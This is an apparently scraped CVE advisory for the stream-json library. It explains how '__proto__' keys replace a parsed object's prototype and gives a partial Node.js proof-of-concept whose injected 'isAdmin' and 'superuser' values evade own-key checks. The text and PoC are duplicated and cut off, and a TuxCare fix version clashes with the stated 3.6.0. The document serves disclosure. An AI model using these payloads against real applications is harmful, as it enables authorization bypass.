CVE-2026-104183

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Summary

A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.

Details

The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.

PoC

Run:

node poc-stream-json-proto-injection.mjs

Full proof-of-concept source (poc-stream-json-proto-injection.mjs):

// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';

const sv = (input, P = parser) => new Promise((res, rej) => {
  const vals = [];
  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
  const out = {};
  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});

let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };

const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];

console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');

console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__…

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Summary

A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.

Details

The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.

PoC

Run:

node poc-stream-json-proto-injection.mjs

Full proof-of-concept source (poc-stream-json-proto-injection.mjs):

// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';

const sv = (input, P = parser) => new Promise((res, rej) => {
  const vals = [];
  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
  const out = {};
  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});

let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };

const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];

console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');

console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__…

TuxCare rebuilt stream-json to address 1 CVE. Fixed in 1.9.1-tuxcare.8.